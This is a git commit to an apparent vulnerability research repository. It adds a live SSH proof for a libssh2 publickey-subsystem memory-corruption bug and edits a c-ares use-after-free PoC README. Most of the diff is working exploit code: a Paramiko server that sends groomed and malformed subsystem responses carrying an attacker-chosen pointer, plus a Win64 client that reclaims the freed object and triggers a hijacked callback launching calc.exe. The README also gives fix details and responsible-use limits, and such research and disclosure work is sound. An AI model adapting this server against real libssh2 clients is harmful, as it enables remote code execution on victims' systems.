Add live SSH transport proof

This commit is contained in:
ashton
2026-06-25 23:50:28 -05:00
parent d2e9cc4edd
commit 6f25f45b94
5 changed files with 585 additions and 3 deletions

View File

@@ -25,6 +25,8 @@ Verified targets:
This is a local proof harness, not a universal exploit for every application that links c-ares. It demonstrates controlled code execution in the harness when the affected c-ares path, response sequence, allocator shaping, and cleanup path are present. This is a local proof harness, not a universal exploit for every application that links c-ares. It demonstrates controlled code execution in the harness when the affected c-ares path, response sequence, allocator shaping, and cleanup path are present.
The current `main` head and latest official release tag were both verified through the same resolver I/O path. The PoC is not an offline packet parser: it starts a loopback DNS-over-TCP server, lets c-ares issue real TCP DNS queries, sends the two-response EDNS retry sequence, and then resets the connection before cleanup consumes the stale state.
## Files ## Files
- `poc/cares_tcp_uaf_calc_poc.c` - standalone C proof harness and benign calc payload. - `poc/cares_tcp_uaf_calc_poc.c` - standalone C proof harness and benign calc payload.
@@ -132,6 +134,16 @@ upstream main c93e50f3: run=1 rc=77
v1.34.6 release: run=1 rc=77 v1.34.6 release: run=1 rc=77
``` ```
Additional local repeat testing against the release build reached the control-flow marker in consecutive runs:
```text
run=1 rc=77 hit=true
run=2 rc=77 hit=true
run=3 rc=77 hit=true
run=4 rc=77 hit=true
run=5 rc=77 hit=true
```
A miss does not necessarily mean the target is fixed. Use the GDB evidence mode or retry loop when validating. A miss does not necessarily mean the target is fixed. Use the GDB evidence mode or retry loop when validating.
## Why this is code execution and not only a crash ## Why this is code execution and not only a crash
@@ -214,4 +226,4 @@ Short-term risk reducers, where compatible with the application, include:
## Responsible Use ## Responsible Use
Run this PoC only against local research targets, owned systems, or explicitly authorized lab and CTF environments. Run this PoC only against local research targets, owned systems, or explicitly authorized lab environments.

View File

@@ -42,12 +42,14 @@ reject num_attrs values that overflow the attrs allocation multiplication
```text ```text
poc/publickey_win32_heap_groom_calc_repro.c poc/publickey_win32_heap_groom_calc_repro.c
poc/publickey_win64_arbitrary_free_calc_repro.c poc/publickey_win64_arbitrary_free_calc_repro.c
poc/live_publickey_server.py
poc/live_publickey_client_win64.c
replay-calc-poc.py replay-calc-poc.py
evidence/2026-06-25-local-calc-replay.txt evidence/2026-06-25-local-calc-replay.txt
SHA256SUMS.txt SHA256SUMS.txt
``` ```
The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit. The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit. The live transport files run the Win64 cleanup chain through a real SSH session and the publickey subsystem.
## Quick replay ## Quick replay
@@ -211,3 +213,36 @@ if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the
``` ```
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables. These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables.
## Live SSH transport proof
The live transport proof keeps the same Win64 cleanup primitive but drives it through a localhost SSH connection. `poc/live_publickey_server.py` is a Paramiko SSH server that accepts password authentication, opens the `publickey` subsystem, sends the groomed version response, and then sends the malformed `publickey` response. `poc/live_publickey_client_win64.c` is a target-shaped Win64 libssh2 client that connects to that server, uses the public libssh2 APIs, and routes libssh2 allocation callbacks through a tracked heap wrapper.
The client reserves the victim object at `0x0000013370000000`. The server default writes that address at offset `27`, which maps to the first future list entry's `attrs` field for this Win64 build shape.
Server:
```sh
python3 poc/live_publickey_server.py --host 127.0.0.1 --port 2228 --victim 0x0000013370000000 --offset 27
```
Client:
```sh
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o live_publickey_client_win64.exe poc/live_publickey_client_win64.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt
wine ./live_publickey_client_win64.exe 127.0.0.1 2228 calc
```
Expected proof signals:
```text
ssh_handshake=ok
ssh_auth=ok
publickey_init=ok
victim_free_callback ptr=0000013370000000
replacement=0000013370000000 same_as_victim=1
calc_payload_reached
calc_launch=success
```
The live proof is still target-shaped. It demonstrates that the publickey list parser state machine can be driven over an SSH transport into stale-object cleanup and a reclaimed callback under the demonstrated allocator and layout conditions.

View File

@@ -1,5 +1,7 @@
1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt 1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt
641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c 641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c
D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c
1A7EFC4E852071DC15930E9028D77851293E4233C6B79A7ADC3AE545A7846AD0 README.md D3D3D346F0D7CA1E2EC6F203D34630B7A9AE912E6B2C820D249CF7A49C8C026D poc/live_publickey_client_win64.c
B36ED903930E703E9768E2AB585BC013DA1E26E8C1A3D0B7C9B6D7C4FAFAA159 poc/live_publickey_server.py
7B2574A923F87325975116EC0C3489AD6ABA516AA87869989E43013A6410258A README.md
2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py 2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py

View File

@@ -0,0 +1,349 @@
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libssh2.h"
#include "libssh2_publickey.h"
#define FIXED_VICTIM_ADDR ((uintptr_t)0x0000013370000000ULL)
#define MAX_RECORDS 16384
struct victim {
void (*cb)(void);
unsigned char pad[120];
};
struct alloc_record {
void *ptr;
int live;
};
static HANDLE app_heap;
static struct alloc_record records[MAX_RECORDS];
static struct victim *stale_victim;
static int victim_freed;
static int launch_real_calc;
static unsigned long heap_free_failures;
static unsigned long ignored_unknown_frees;
static void track_ptr(void *ptr)
{
size_t i;
if(!ptr)
return;
for(i = 0; i < MAX_RECORDS; i++) {
if(!records[i].live) {
records[i].ptr = ptr;
records[i].live = 1;
return;
}
}
}
static int untrack_ptr(void *ptr)
{
size_t i;
for(i = 0; i < MAX_RECORDS; i++) {
if(records[i].live && records[i].ptr == ptr) {
records[i].live = 0;
return 1;
}
}
return 0;
}
static void safe_callback(void)
{
fprintf(stderr, "safe_callback_reached\n");
}
static void launch_calc_callback(void)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char cmd[] = "calc.exe";
FILE *f = fopen("live_ssh_calc_payload_reached.txt", "wb");
if(f) {
fputs("live ssh calc payload reached\n", f);
fclose(f);
}
fprintf(stderr, "calc_payload_reached callback=%p\n",
launch_calc_callback);
if(launch_real_calc) {
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL,
&si, &pi)) {
fprintf(stderr, "calc_launch=success pid=%lu\n",
(unsigned long)pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else {
fprintf(stderr, "calc_launch=failed error=%lu\n",
(unsigned long)GetLastError());
ExitProcess(78);
}
}
ExitProcess(77);
}
static void *app_alloc_raw(size_t size)
{
void *ptr = HeapAlloc(app_heap, 0, size ? size : 1);
track_ptr(ptr);
return ptr;
}
static void app_free_raw(void *ptr)
{
if(!ptr)
return;
if(ptr == stale_victim) {
victim_freed = 1;
fprintf(stderr, "victim_free_callback ptr=%p\n", ptr);
return;
}
if(!untrack_ptr(ptr)) {
ignored_unknown_frees++;
fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr);
return;
}
if(!HeapFree(app_heap, 0, ptr)) {
heap_free_failures++;
fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr,
(unsigned long)GetLastError());
}
}
static LIBSSH2_ALLOC_FUNC(app_alloc)
{
void *ptr;
(void)abstract;
ptr = app_alloc_raw(count);
fprintf(stderr, "alloc size=%llu ptr=%p\n",
(unsigned long long)(count ? count : 1), ptr);
return ptr;
}
static LIBSSH2_FREE_FUNC(app_free)
{
(void)abstract;
fprintf(stderr, "free ptr=%p\n", ptr);
app_free_raw(ptr);
}
static LIBSSH2_REALLOC_FUNC(app_realloc)
{
void *newptr;
(void)abstract;
if(!ptr)
return app_alloc(count, abstract);
if(!untrack_ptr(ptr)) {
ignored_unknown_frees++;
fprintf(stderr, "realloc_ignored_unknown old=%p size=%llu\n", ptr,
(unsigned long long)(count ? count : 1));
return NULL;
}
newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1);
if(newptr)
track_ptr(newptr);
fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr,
(unsigned long long)(count ? count : 1), newptr);
return newptr;
}
static int init_fixed_victim(void)
{
struct victim payload;
stale_victim = (struct victim *)VirtualAlloc(
(LPVOID)FIXED_VICTIM_ADDR, sizeof(*stale_victim),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if(!stale_victim) {
fprintf(stderr, "fixed_victim_alloc_failed addr=0x%016llx error=%lu\n",
(unsigned long long)FIXED_VICTIM_ADDR,
(unsigned long)GetLastError());
return 0;
}
memset(stale_victim, 0x42, sizeof(*stale_victim));
stale_victim->cb = safe_callback;
memset(&payload, 0x43, sizeof(payload));
payload.cb = launch_calc_callback;
fprintf(stderr,
"fixed_victim=%p victim_size=%llu replacement_callback=%p\n",
stale_victim, (unsigned long long)sizeof(*stale_victim),
launch_calc_callback);
return 1;
}
static SOCKET connect_tcp(const char *host, const char *port)
{
struct addrinfo hints;
struct addrinfo *res = NULL;
struct addrinfo *cur;
SOCKET sock = INVALID_SOCKET;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if(getaddrinfo(host, port, &hints, &res) != 0)
return INVALID_SOCKET;
for(cur = res; cur; cur = cur->ai_next) {
sock = socket(cur->ai_family, cur->ai_socktype, cur->ai_protocol);
if(sock == INVALID_SOCKET)
continue;
if(connect(sock, cur->ai_addr, (int)cur->ai_addrlen) == 0)
break;
closesocket(sock);
sock = INVALID_SOCKET;
}
freeaddrinfo(res);
return sock;
}
static void print_last_error(LIBSSH2_SESSION *session, const char *where)
{
char *errmsg = NULL;
int errlen = 0;
int err = libssh2_session_last_error(session, &errmsg, &errlen, 0);
fprintf(stderr, "%s_failed err=%d msg=%.*s\n", where, err, errlen,
errmsg ? errmsg : "");
}
int main(int argc, char **argv)
{
const char *host = "127.0.0.1";
const char *port = "2228";
WSADATA wsadata;
SOCKET sock;
LIBSSH2_SESSION *session;
LIBSSH2_PUBLICKEY *pkey;
libssh2_publickey_list *list = NULL;
unsigned long num_keys = 0;
struct victim replacement_payload;
struct victim *replacement;
int rc;
if(argc > 1)
host = argv[1];
if(argc > 2)
port = argv[2];
if(argc > 3 && !strcmp(argv[3], "calc"))
launch_real_calc = 1;
app_heap = HeapCreate(0, 0, 0);
if(!app_heap)
return 69;
if(!init_fixed_victim())
return 68;
memset(&replacement_payload, 0x43, sizeof(replacement_payload));
replacement_payload.cb = launch_calc_callback;
if(WSAStartup(MAKEWORD(2, 2), &wsadata) != 0)
return 2;
rc = libssh2_init(0);
if(rc) {
fprintf(stderr, "libssh2_init_failed rc=%d\n", rc);
return 3;
}
sock = connect_tcp(host, port);
if(sock == INVALID_SOCKET) {
fprintf(stderr, "connect_failed host=%s port=%s error=%d\n", host,
port, WSAGetLastError());
return 4;
}
fprintf(stderr, "tcp_connected host=%s port=%s\n", host, port);
session = libssh2_session_init_ex(app_alloc, app_free, app_realloc, NULL);
if(!session)
return 5;
libssh2_session_set_blocking(session, 1);
rc = libssh2_session_method_pref(
session, LIBSSH2_METHOD_KEX,
"curve25519-sha256,curve25519-sha256@libssh.org,"
"ecdh-sha2-nistp256,diffie-hellman-group14-sha256,"
"diffie-hellman-group14-sha1");
if(rc)
fprintf(stderr, "kex_pref_rc=%d\n", rc);
rc = libssh2_session_handshake(session, (libssh2_socket_t)sock);
if(rc) {
print_last_error(session, "handshake");
return 6;
}
fprintf(stderr, "ssh_handshake=ok\n");
rc = libssh2_userauth_password(session, "user", "pass");
if(rc) {
print_last_error(session, "password_auth");
return 7;
}
fprintf(stderr, "ssh_auth=ok\n");
pkey = libssh2_publickey_init(session);
if(!pkey) {
print_last_error(session, "publickey_init");
return 8;
}
fprintf(stderr, "publickey_init=ok\n");
{
int attempt;
for(attempt = 1; attempt <= 1000; attempt++) {
rc = libssh2_publickey_list_fetch(pkey, &num_keys, &list);
if(rc != LIBSSH2_ERROR_EAGAIN)
break;
Sleep(10);
}
}
fprintf(stderr,
"list_fetch_rc=%d num_keys=%lu victim_freed=%d ignored_unknown_frees=%lu heap_free_failures=%lu\n",
rc, num_keys, victim_freed, ignored_unknown_frees,
heap_free_failures);
if(rc)
print_last_error(session, "list_fetch");
replacement = NULL;
if(victim_freed)
replacement = stale_victim;
else
replacement = (struct victim *)app_alloc_raw(sizeof(*replacement));
fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement,
replacement == stale_victim);
if(replacement)
memcpy(replacement, &replacement_payload, sizeof(replacement_payload));
fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb);
stale_victim->cb();
return victim_freed ? 2 : 1;
}

View File

@@ -0,0 +1,184 @@
import argparse
import socket
import struct
import sys
import threading
import time
import paramiko
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 2228
DEFAULT_VICTIM = 0x0000013370000000
LIST_ENTRY_SIZE_WIN64 = 48
def ssh_string(value):
return struct.pack(">I", len(value)) + value
def subsystem_packet(payload):
return struct.pack(">I", len(payload)) + payload
def version_response():
return subsystem_packet(ssh_string(b"version") + struct.pack(">I", 2))
def version_groom_response(attrs_ptr, offsets):
payload_len = 9 * LIST_ENTRY_SIZE_WIN64
payload = bytearray(payload_len)
prefix = ssh_string(b"version")
payload[: len(prefix)] = prefix
for offset in offsets:
struct.pack_into("<Q", payload, offset, attrs_ptr)
return subsystem_packet(bytes(payload))
def malformed_publickey_response():
payload = ssh_string(b"publickey") + ssh_string(b"n") + b"\x00"
return subsystem_packet(payload)
def recv_exact(channel, wanted):
chunks = []
total = 0
while total < wanted:
chunk = channel.recv(wanted - total)
if not chunk:
raise EOFError("channel closed")
chunks.append(chunk)
total += len(chunk)
return b"".join(chunks)
def recv_subsystem_packet(channel):
header = recv_exact(channel, 4)
length = struct.unpack(">I", header)[0]
return recv_exact(channel, length)
def send_all(channel, data):
offset = 0
while offset < len(data):
sent = channel.send(data[offset:])
if sent <= 0:
raise EOFError("send failed")
offset += sent
def serve_publickey_channel(channel, attrs_ptr, offsets, hold_seconds, done):
try:
client_version = recv_subsystem_packet(channel)
print(f"server_recv_version_len={len(client_version)}", flush=True)
send_all(channel, version_response())
print("server_sent_version=1", flush=True)
client_list = recv_subsystem_packet(channel)
print(f"server_recv_list_len={len(client_list)}", flush=True)
send_all(channel, version_groom_response(attrs_ptr, offsets))
print(
f"server_sent_groom_attrs=0x{attrs_ptr:016x} offsets={offsets}",
flush=True,
)
send_all(channel, malformed_publickey_response())
print("server_sent_malformed_publickey=1", flush=True)
time.sleep(hold_seconds)
except Exception as exc:
print(f"server_error={exc}", flush=True)
finally:
done.set()
try:
channel.close()
except Exception:
pass
class PublickeyServer(paramiko.ServerInterface):
def __init__(self, attrs_ptr, offsets, hold_seconds, done):
self.attrs_ptr = attrs_ptr
self.offsets = offsets
self.hold_seconds = hold_seconds
self.done = done
def check_auth_password(self, username, password):
print(f"auth username={username!r} password_len={len(password)}", flush=True)
return paramiko.AUTH_SUCCESSFUL
def get_allowed_auths(self, username):
return "password"
def check_channel_request(self, kind, chanid):
print(f"channel_request kind={kind!r} chanid={chanid}", flush=True)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_subsystem_request(self, channel, name):
print(f"subsystem_request name={name!r}", flush=True)
if name != "publickey":
return False
worker = threading.Thread(
target=serve_publickey_channel,
args=(
channel,
self.attrs_ptr,
self.offsets,
self.hold_seconds,
self.done,
),
daemon=True,
)
worker.start()
return True
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", default=DEFAULT_HOST)
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
parser.add_argument("--victim", type=lambda s: int(s, 0), default=DEFAULT_VICTIM)
parser.add_argument(
"--offset",
dest="offsets",
action="append",
type=lambda s: int(s, 0),
default=None,
)
parser.add_argument("--hold", type=float, default=2.0)
args = parser.parse_args()
offsets = args.offsets if args.offsets is not None else [27]
host_key = paramiko.RSAKey.generate(2048)
done = threading.Event()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((args.host, args.port))
sock.listen(1)
print(
f"server_listening={args.host}:{args.port} victim=0x{args.victim:016x} offsets={offsets}",
flush=True,
)
client, addr = sock.accept()
print(f"server_client={addr[0]}:{addr[1]}", flush=True)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
transport.start_server(
server=PublickeyServer(args.victim, offsets, args.hold, done)
)
channel = transport.accept(20)
if channel is None:
print("server_no_channel=1", flush=True)
return 1
done.wait(20)
transport.close()
sock.close()
print("server_done=1", flush=True)
return 0
if __name__ == "__main__":
sys.exit(main())